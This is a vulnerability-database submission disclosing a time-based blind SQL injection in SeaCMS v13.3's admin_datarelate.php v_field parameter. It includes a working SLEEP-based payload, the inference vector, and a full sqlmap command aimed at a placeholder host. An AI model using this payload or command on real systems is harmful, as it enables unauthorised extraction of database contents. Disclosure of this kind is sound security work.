Invia #649880: SeaCMS V13.3 SQL Injection

A SQL injection vulnerability exists in SeaCMS v13.3.

The vulnerable parameter is `v_field` in `/admin_datarelate.php?action=batchsubmit`.
The application fails to properly sanitize user input, which allows an attacker to
perform a time-based blind SQL injection.

Parameter: v_field (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: v_field=1 AND (SELECT 5628 FROM (SELECT(SLEEP(5)))gazO)&v_str1=1&v_str2=1
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

An attacker can exploit this issue to extract sensitive data by inferring database
information through conditional time delays. The vulnerability has been verified
using sqlmap with the following command:

sqlmap -u "http://target.com/30h9r/admin_datarelate.php?action=batchsubmit" \
--data="v_field=1&v_str1=1&v_str2=1" -p v_field --dbms=mysql \
--level=5 --risk=3 --batch --random-agent

Test environment:
- Ubuntu 22
- Apache 2.4.62
- PHP 5.6.40
- MySQL 5.7.43
- SeaCMS v13.3

• Fonte: ⚠️ https://github.com/coolcj-stack/seacms-v13.3-blind-based-sqli/blob/main/README.md
• Utente: BlackSpdier (UID 89912)
• Sottomissione: 07/09/2025 17:09 (1 Anno fa)
• Moderazione: 17/09/2025 09:08 (10 days later)
• Stato: Duplicato
• Voce VulDB: 312813 [SeaCMS 12.9 admin_datarelate.php iniezione SQL]
• Punti: 0